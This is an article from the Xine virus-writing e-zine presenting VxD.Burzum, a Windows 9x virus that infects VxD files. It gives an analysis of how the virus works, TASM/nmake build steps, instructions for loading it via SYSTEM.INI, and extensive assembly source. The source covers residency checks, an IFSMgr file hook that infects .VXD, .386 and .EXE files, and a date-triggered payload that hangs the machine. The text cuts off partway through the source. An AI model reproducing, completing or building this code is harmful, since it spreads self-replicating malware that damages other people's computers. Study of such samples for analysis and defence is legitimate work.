ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Xine - issue #5 - Phile 213 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ VxD.Burzum ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This virus is a simple VxD infector. I wrote it to demonstrate VxD protec- ted-mode infection, reserving extended memory from real-mode. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1. Virus analysis ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ When the virus (real-mode) receives execution control, it makes its resi- dency check and goes resident (if necessary) using DOS functions to allocate memory (reloading the virus code from the end of file). Then, it hooks the interrupt 21h, reloads the original real-mode init proc and calls it. After this, it reserves extended memory (with a copy of the virus), points the re- ference data to the virus entrypoint (extended memory), deallocates unneces- sary memory and returns to the VMM. The protected-mode entrypoint (in the DDB reserved fields) executes "Test_Debug_Installed" (residency check) and calls EDX (if necessary), which points to the reference data (extended memo- ry), installing the required VxD hooks, restoring the original reference da- ta, activating the payload if the current date matches the one of the pay- load and returning execution to the host's DDB control procedure. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.1. VxD hooks ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The "Test_Debug_Installed" hook handles the protected-mode residency check whereas the file hook handles the infection of VxD files. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.2. Interrupt hooks ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The INT 21h hook handles the real-mode residency check. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.3. Payload ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The virus decrypts and displays the following string: "VxD.Burzum, Horned Beast/VADER" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.4. File map: VxD ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Before infection After infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ VxD data ³ ³ VxD data ³ ³ ³ ³ (modified) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Real-mode init proc ³ ³ Virus stub ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ VxD data ³ ³ VxD data ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Virus code ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Real-mode init proc ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 2. Assembling and compiling ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Compile the real-mode code to a COM file, using: tasm r_mode,,info /ml /m5 tlink r_mode /t Convert it to a INC file, using: bin2db r_mode.com r_mode.inc Fix the appropriate references from the file "BURZUM.ASM" (lines marked with ";Fix"), according to the file "INFO.LST". Compile the main virus code to a VXD file, using: nmake /A Fix the appropriate references from the file "R_MODE.ASM" (lines marked with ";Fix"), according to the file "INFO2.LST". Recompile the real-mode code. Recompile the main virus code. ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 3. Loading ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ Register the virus VxD in the SYSTEM.INI file and restart Windows. The vi- rus will then stay resident and infect any accessed files. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 4. Disinfection ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Copy Loader_Size bytes at position EOF-Loader_Size to the start of the real-mode init proc, fixing the appropriate "OH_size" and "LE_eip" fields (if necessary). Then, restore the pointer to the original DDB control proce- dure and reduce the file size by Virus_Physical_Size bytes. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Start of file: R_MODE.ASM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .Model Tiny .Code .386 include DOS.INC include EXTRA.INC .Radix 16d org (size PSP) Control_Distance = 1234 ;Fix Virus_Main_Size = 1234 ;Fix Virus_Physical_Size = 1234 ;Fix Virus_Virtual_Size = 1234 ;Fix Return_IP_Distance = Return_IP-Real_Mode_Start Ref_Patch_Size = Ref_Patch_End-Ref_Patch_Start Loader_Size = Loader_End-Real_Mode_Start Real_Mode_Size = Real_Mode_End-Real_Mode_Start Virus_Sign = 'HB' ;"Horned Beast" Real_Mode_Start: pop bp ;Return address push bp bp bp cs push 1234 Return_IP = $-2 pushad mov ax,3303 mov bx,Virus_Sign int 21 ;Residency check or ax,ax jnz Not_Resident push bx ;Virus CS push Reload_File-Real_Mode_Start retf Not_Resident: mov ah,48 mov bx,(Virus_Main_Size+15d)/16d int 21 ;Allocate memory jc $ ;Hang if no memory xchg bp,ax mov si,Virus_Physical_Size mov di,Virus_Main_Size call Read_File push bp push Mem_Return-Real_Mode_Start retf ;Read the last accessed file at position EOF-SI to the address at BP:0, ;until position EOF-SI+DI ;Save and restore the file pointer Read_File: push ds es mov ah,34 int 21 ;Get address of "InDOS flag" mov bx,word ptr es:[bx+28ch-1] ;File handle mov ax,4201 xor cx,cx cwd int 21 push ax dx mov ax,4202 cwd int 21 xchg dx,ax xchg cx,ax sub dx,si sbb cx,ax mov ah,42 int 21 mov ah,3fh mov cx,di cwd mov ds,bp int 21 pop cx dx mov ax,4200 int 21 pop es ds retn Loader_End: Mem_Return: push ds cs pop ds mov ax,3521 int 21 ;Get interrupt vector mov si,Save_i21-Real_Mode_Start mov word ptr ds:[si],bx mov word ptr ds:[si+2],es mov ah,25 mov dx,Handler_i21-Real_Mode_Start int 21 ;Set interrupt vector pop ds Reload_File: mov bp,ds mov si,Loader_Size mov di,si call Read_File popad push ds pop es mov bp,sp mov word ptr ss:[bp+6],Mem_Return2-Real_Mode_Start mov word ptr ss:[bp+8],cs mov dword ptr cs:[Service_Call-Real_Mode_Start],ecx ;LDRSRV address retf ;Call the original real-mode init proc Mem_Return2: push ds pushad or ax,ax ;Same as: cmp ax,DEVICE_LOAD_OK jnz Return_to_VMM push cs pop ds mov dword ptr ds:[Reference-Real_Mode_Start],edx ;Save reference data cmp byte ptr ds:[Loading_Switch-Real_Mode_Start],0 jne Skip_Virus_Alloc ;Virus already in extended memory mov cx,Virus_Virtual_Size mov dx,LDRSRV_COPY_LOCKED xor si,si call Allocate_Extended add eax,Control_Distance mov dword ptr ds:[Ext_Virus_Start-Real_Mode_Start],eax inc byte ptr ds:[Loading_Switch-Real_Mode_Start] push es cs pop es mov ah,4ah mov bx,(Real_Mode_Size+15d)/16d int 21 ;Discard unused memory pop es Skip_Virus_Alloc: mov cx,Ref_Patch_Size mov dx,LDRSRV_COPY_INIT mov si,Ref_Patch_Start-Real_Mode_Start call Allocate_Extended mov bp,sp mov dword ptr ss:[bp.Pushad_EDX],eax ;Modify reference data Return_to_VMM: popad pop ds retf ;Return to the VMM Allocate_Extended: ;Allocate extended memory mov ax,LDRSRV_COPY_EXTENDED_MEMORY db 9ah ;Call XXXX:XXXX Service_Call dd 0 jc $ ;Hang if no memory retn ;Interrupt vector handler Handler_i21: pushf cmp ax,3303 jne Old_i21 cmp bx,Virus_Sign jne Old_i21 xor ax,ax mov bx,cs popf iret Old_i21: popf db 0eah ;Jmp XXXX:XXXX Save_i21 dd 0 Ref_Patch_Start: ;32-bit code! mov dx,1234 org $-2 Reference dd 0 push 1234 org $-2 Ext_Virus_Start dd 0 ret Ref_Patch_End: ;End of 32-bit code Loading_Switch db 0 Real_Mode_End: end Real_Mode_Start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ End of file: R_MODE.ASM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Start of file: BURZUM.ASM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .386p MASM = 1 ;Needed for IFS.INC .XList include VMM.INC include IFS.INC include IFSMGR.INC include SHELL.INC include MZ.INC include LE.INC .List public BURZUM_DDB Return_IP_Distance = 1234h ;Fix Loader_Size = 1234h ;Fix Control_Distance = Virus_Control-Virus_Start Virus_Main_Size = Virus_Main_End-Virus_Start Virus_Physical_Size = Virus_Physical_End-Virus_Start Virus_Virtual_Size = Virus_Virtual_End-Virus_Start HB_Sign = 'HB' ;"Horned Beast" Min_Page_Size = 100h Max_Page_Size = 8000h Payload_Day = 4 Payload_Month = 7 VxD_CODE_SEG Return_Control: clc ret Burzum_Control: mov edx,offset Virus_Control jmp Fake_Start BURZUM_DDB VxD_Desc_Block <,,,,,,"BURZUM",,Burzum_Control> ;Simulate host execution org $.DDB_Reserved1-(size VxD_Desc_Block) Fake_Start: VMMCall Test_Debug_Installed call edx dd (Fake_Start-Return_Control) Dword_Align Virus_Start: Return_IP = $+Return_IP_Distance include R_MODE.INC Virus_Control: pushad call Start_Delta Start_Delta: pop edi call Fix_Dynamic_Links ;Install debug hook lea esi,[edi+(Debug_Hook-Start_Delta)] lea ebx,[esi+(Old_Debug-Debug_Hook)] xor eax,eax mov dword ptr [ebx],eax mov dword ptr [esi-(Debug_Hook-Old_Debug_Pointer)],ebx GetVxDServiceOrdinal eax,Test_Debug_Installed Dynamic_Link1: VMMCall Hook_Device_Service mov edx,dword ptr [esp+(size Pushad_Struc)] ;Return address sub edx,2 ;Subtract call size mov dword ptr [esp+(size Pushad_Struc)],edx ;Adjust return address ;Fix "Test_Debug_Installed" call mov word ptr [edx-6],1234h org $-2 int Dyna_Link_Int mov dword ptr [edx-4],@@Test_Debug_Installed mov dword ptr [edi+(Compare_Offset-Start_Delta)],edx popad ;Simulate a HOOK_PROC jmp Debug_Hook jmp dword ptr [Old_Debug] Old_Debug_Pointer = $-4 Debug_Hook: pushfd pushad mov edx,dword ptr [esp+(size Pushad_Struc)+4] ;Return address cmp word ptr [edx],1234h org $-2 call edx jne Debug_Exit ;Not a virus call lea ebx,[edx-6] ;"Test_Debug_Installed" call address sub ebx,dword ptr [edx+2] mov dword ptr [esp+(size Pushad_Struc)+4],ebx ;Fix return address cmp edx,12345678h Compare_Offset = $-4 jne Fix_Reference cmp eax,INIT_COMPLETE jne Return_to_Host ;Install file hook call Debug_Delta Debug_Delta: pop edi mov byte ptr [edi+(Disable_Hook-Debug_Delta)],0 lea eax,[edi+(File_Hook-Debug_Delta)] push eax Dynamic_Link4: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx mov dword ptr [edi+(Old_File-Debug_Delta)],eax ;The payload mov al,7 out 70h,al in al,71h cmp al,Payload_Day jne Return_to_Host mov al,8 out 70h,al in al,71h cmp al,Payload_Month jne Return_to_Host lea ecx,[edi+(Virus_Name-Debug_Delta)] mov edi,ecx dec edi Decrypt_Name: inc edi xor byte ptr [edi],66h jnz Decrypt_Name VMMCall Get_Sys_VM_Handle xor eax,eax ;Message box flags VxDCall SHELL_SYSMODAL_Message ;Display virus name jmp $ ;Hang execution Fix_Reference: or eax,eax ;Same as: cmp eax,SYS_CRITICAL_INIT jnz Return_to_Host popad mov edx,dword ptr [edx+1] ;Reference data pushad Return_to_Host: popad popfd ret Debug_Exit: popad popfd push 12345678h Old_Debug = $-4 ret Virus_Name db 48,30,34,72,36,19,20,28,19,11,74,70,46,9,20,8,3,2,70,36 db 3,7,21,18,73,48,39,34,35,52,102 ;Encrypted "VxD.Burzum, Horned Beast/VADER",0 BeginProc File_Hook,CCALL,HIGH_FREQ ArgVar FSDFnAddr,DWORD ArgVar FunctionNum,DWORD ArgVar Drive,DWORD ArgVar ResourceFlags,DWORD ArgVar CodePage,DWORD ArgVar pir,DWORD LocalVar LE_Info_Mem,DWORD LocalVar DDB_Offset_Obj,DWORD LocalVar LE_Header_File,DWORD LocalVar LE_Info_File,DWORD LocalVar LE_Info_Size,DWORD LocalVar DDB_Offset_File,DWORD LocalVar File_Handle,DWORD EnterProc pushad mov al,12h Disable_Hook = $-1 cmp al,0 jne File_Hook_Exit cmp dword ptr [FunctionNum],IFSFN_OPEN ;Function jne File_Hook_Exit call File_Delta File_Delta: pop edi inc byte ptr [edi+(Disable_Hook-File_Delta)] lea ebx,[edi+(File_Buffer-File_Delta)] mov eax,dword ptr [Drive] ;Drive number cmp al,-1 je No_Drive ;UNC resource add al,'A'-1 mov ah,':' mov dword ptr [ebx],eax inc ebx inc ebx No_Drive: mov eax,dword ptr [pir] ;Pointer to IOREQ mov eax,dword ptr [eax.ir_ppath] add eax,ParsedPath.pp_elements push BCS_WANSI push Virus_Virtual_End-Virus_Physical_End push eax push ebx Dynamic_Link5: VxDCall UniToBCSPath add esp,4*4 add ebx,eax mov eax,dword ptr [ebx-3] ;File extension cmp eax,'DXV' je Extension_OK cmp eax,'683' je Extension_OK cmp eax,'EXE' jne Infection_Done Extension_OK: lea esi,[edi+(File_Buffer-File_Delta)] mov eax,R0_OPENCREATFILE mov bx,2 ;Read/write mov dx,1 ;Open file if it exists call Original_FileIO ;Open the file (read/write mode) jc Infection_Done mov dword ptr [File_Handle],eax call Infect_File mov eax,R0_CLOSEFILE call Simulate_FileIO ;Close the file Infection_Done: dec byte ptr [edi+(Disable_Hook-File_Delta)] File_Hook_Exit: popad LeaveProc push dword ptr ds:[12345678h] Old_File = $-4 Return EndProc File_Hook,KEEPFRAMEVARS ;Routines ;Infect file ;þ On entry: ; EDI=File_Delta ; File_Handle=Handle of file to infect ;þ On exit: ; EAX,EBX,ECX,EDX,ESI=? ; Update all data Infect_File: ;Init data xor eax,eax mov dword ptr [LE_Info_Mem],eax mov word ptr [edi+(Write_LE_Header-File_Delta)],ax call Read_LE jc Dealloc_Exit call Update_DDB jc Dealloc_Exit call Clear_Checksums call Fix_Real_Mode jc Dealloc_Exit xor ecx,ecx mov cl,Loader_Size xchg eax,edx lea esi,[edi+(Loader_Buffer-File_Delta)] call FileIO_Read ;Read real-mode code push ecx push edx mov eax,R0_GETFILESIZE call Simulate_FileIO mov ecx,Virus_Physical_Size xchg eax,edx lea esi,[edi+(Virus_Start-File_Delta)] call FileIO_Write ;Write virus body pop edx pop ecx call FileIO_Write ;Write real-mode stub mov ecx,size VxD_Desc_Block mov edx,dword ptr [DDB_Offset_File] lea esi,[edi+(DDB_Buffer-File_Delta)] call FileIO_Write ;Write DDB cmp byte ptr [edi+(Write_LE_Header-File_Delta)],0 je No_LE_Write mov ecx,IMAGE_SIZEOF_VXD_HEADER mov edx,dword ptr [LE_Header_File] lea esi,[edi+(File_Buffer-File_Delta)] call FileIO_Write ;Write LE header No_LE_Write: cmp byte ptr [edi+(Write_LE_Info-File_Delta)],0 je Dealloc_Exit mov ecx,dword ptr [LE_Info_Size] mov edx,dword ptr [LE_Info_File] mov esi,dword ptr [LE_Info_Mem] call FileIO_Write ;Write LE info Dealloc_Exit: mov ecx,dword ptr [LE_Info_Mem] jecxz No_Dealloc xchg eax,ecx call My_HeapFree No_Dealloc: ret ;Read LE header and info, mark file infected/impossible to infect ;þ On entry: ; EDI=File_Delta ; File_Handle=Handle of file to read/write ;þ On exit: ; ESI=File_Buffer ; * Carry flag clear: ; File_Buffer filled with LE header ; LE_Header_File=Offset (within file) of LE header ; LE_Info_Mem=Pointer to LE info (allocated memory) ; LE_Info_File=Offset (within file) of LE info ; LE_Info_Size=Size of LE info ; * Carry flag set: ERROR Read_LE: lea esi,[edi+(File_Buffer-File_Delta)] pushad mov ecx,IMAGE_SIZEOF_DOS_HEADER xor edx,edx call FileIO_Read ;Read MZ header cmp word ptr [esi.MZ_magic],IMAGE_DOS_SIGNATURE jne Read_LE_Fail cmp word ptr [esi.MZ_lfarlc],IMAGE_SIZEOF_DOS_HEADER jb Read_LE_Fail mov ax,HB_Sign cmp word ptr [esi.MZ_csum],ax je Read_LE_Fail ;File already infected/impossible to infect mov dword ptr [esi],eax mov cl,2 mov dl,MZ_csum call FileIO_Write ;Mark file infected/impossible to infect jc Read_LE_Fail mov edx,dword ptr [esi.MZ_lfanew] mov dword ptr [LE_Header_File],edx mov cl,IMAGE_SIZEOF_VXD_HEADER call FileIO_Read ;Read LE header add edx,ecx mov dword ptr [LE_Info_File],edx call Check_Valid_LE jnz Read_LE_Fail mov eax,dword ptr [esi.LE_datapage] sub eax,edx push eax call My_HeapAllocate pop ecx jz Read_LE_Fail mov dword ptr [LE_Info_Mem],eax mov dword ptr [LE_Info_Size],ecx mov edx,dword ptr [LE_Info_File] xchg eax,esi call FileIO_Read ;Read LE info popad ret Read_LE_Fail: popad stc ret ;Check for a valid LE header ;þ On entry: ; ESI=Pointer to LE header ;þ On exit: ; EAX=? ; ECX=0 ; * Zero flag set: Valid LE ; * Zero flag clear: Invalid LE Check_Valid_LE: xor ecx,ecx cmp dword ptr [esi.LE_magic],(IMAGE_VXD_LEWO shl 24)\ +(IMAGE_VXD_LEBO shl 16)+IMAGE_VXD_SIGNATURE jne Exit_LE_Check cmp dword ptr [esi.LE_level],ecx jne Exit_LE_Check mov eax,dword ptr [esi.LE_cpu] cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_386 jb Exit_LE_Check cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_586 ja Exit_LE_Check test dword ptr [esi.LE_mflags],not (IMAGE_VXD_MODVDEV+IMAGE_VXD_NOEXTFIX) jnz Exit_LE_Check mov eax,dword ptr [esi.LE_pagesize] cmp eax,Min_Page_Size jb Exit_LE_Check cmp eax,Max_Page_Size ja Exit_LE_Check cmp dword ptr [esi.LE_itermap],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_rsrccnt],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_dircnt],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_impmodcnt],ecx ;jne Exit_LE_Check Exit_LE_Check: ret ;Read and update DDB related data ;þ On entry: ; ESI=Pointer to LE header ; EDI=File_Delta ; File_Handle=Handle of file to read ; LE_Info_Mem=Pointer to LE info (allocated memory) ;þ On exit: ; * Carry flag clear: ; DDB_Offset_Obj=Offset of the DDB_Reserved1 field (in first object) ; DDB_Offset_File=Offset (within file) of DDB ; DDB_Buffer filled with updated DDB ; LE info updated (if necessary) ; Set the Write_LE_Info flag if LE info modified ; * Carry flag set: ERROR Update_DDB: pushad call Get_Object_Table cmp dword ptr [eax.OH_flags],IMAGE_OBJ_READ+IMAGE_OBJ_EXEC\ +IMAGE_OBJ_PRELOAD+IMAGE_OBJ_BIGDEF jne Update_DDB_Fail mov eax,dword ptr [esi.LE_enttab] call Recalc cmp dword ptr [eax.EB_type],((IMAGE_ENT_EXPORT+IMAGE_ENT_SHARED) shl 24)\ +(1 shl 8)+IMAGE_BND_ENTRY32 jne Update_DDB_Fail mov eax,dword ptr [eax+IMAGE_SIZEOF_ENTRY_BUNDLE.EH_offset] lea edx,[eax.DDB_Reserved1] mov dword ptr [DDB_Offset_Obj],edx push eax call Calculate_Page push edx call Get_Page_Offset pop edx jc Bad_DDB_Page add edx,eax mov dword ptr [DDB_Offset_File],edx mov ecx,size VxD_Desc_Block push esi lea esi,[edi+(DDB_Buffer-File_Delta)] call FileIO_Read ;Read DDB pop esi Bad_DDB_Page: pop eax jc Update_DDB_Fail add eax,DDB_Control_Proc call Calculate_Page mov eax,dword ptr [esi.LE_fpagetab] call Recalc mov ebx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER] mov ecx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER\ +IMAGE_SIZEOF_FIXUP_PAGE_HEADER] mov eax,dword ptr [esi.LE_frectab] call Recalc add ebx,eax add ecx,eax call Find_Reloc jnc Modify_Reloc ;Relocation found cmp ebx,ecx jb Update_DDB_Fail ;Unknown relocation type mov eax,dword ptr [DDB_Offset_Obj] mov ecx,eax xchg eax,dword ptr [edi+(DDB_Buffer.DDB_Control_Proc-File_Delta)] jmp Store_Displacement Modify_Reloc: mov ecx,dword ptr [DDB_Offset_Obj] or ah,ah jnz Modify_Reloc32 movzx eax,cx cmp eax,ecx jne Update_DDB_Fail ;Offset doesn't fit in relocation xchg ax,word ptr [edx] jmp Set_Write_Info_Flag Modify_Reloc32: mov eax,ecx xchg eax,dword ptr [edx] Set_Write_Info_Flag: mov byte ptr [edi+(Write_LE_Info-File_Delta)],1 Store_Displacement: sub ecx,eax ;Store: ;VMMCall Test_Debug_Installed ;call edx ;dd ? (relocation to the original DDB control procedure) ;(in the DDB reserved fields) mov dword ptr [edi+(DDB_Buffer.DDB_Reserved1-File_Delta)],12345678h org $-4 int Dyna_Link_Int dw (lowword @@Test_Debug_Installed) mov dword ptr [edi+(DDB_Buffer.DDB_Reserved2-File_Delta)],(1234h shl 16)\ +(highword @@Test_Debug_Installed) org $-2 call edx mov dword ptr [edi+(DDB_Buffer.DDB_Reserved3-File_Delta)],ecx popad clc ret Update_DDB_Fail: popad stc ret ;Calculate page relative offset ;þ On entry: ; EAX=Offset (within first object) ; ESI=Pointer to LE header ; LE_Info_Mem=Pointer to LE info (allocated memory) ;þ On exit: ; EAX=? ; ECX=Page number ; EDX=Offset (within page) Calculate_Page: cdq mov ecx,dword ptr [esi.LE_pagesize] div ecx xchg eax,ecx call Get_Object_Table add ecx,dword ptr [eax.OH_pagemap] dec ecx ret ;Find a relocation (within a page) ;þ On entry: ; EBX=Start of "Fixup Record" data for the page ; ECX=End of "Fixup Record" data for the page ; DX=Offset to seek (within the page) ;þ On exit: ; EAX,EBX=? ; * Carry flag clear: ; EDX=Pointer to relocation ; AH=0: 16-bit relocation ; AH>0: 32-bit relocation ; * Carry flag set: ; EBXòECX: Relocation not found ; EBX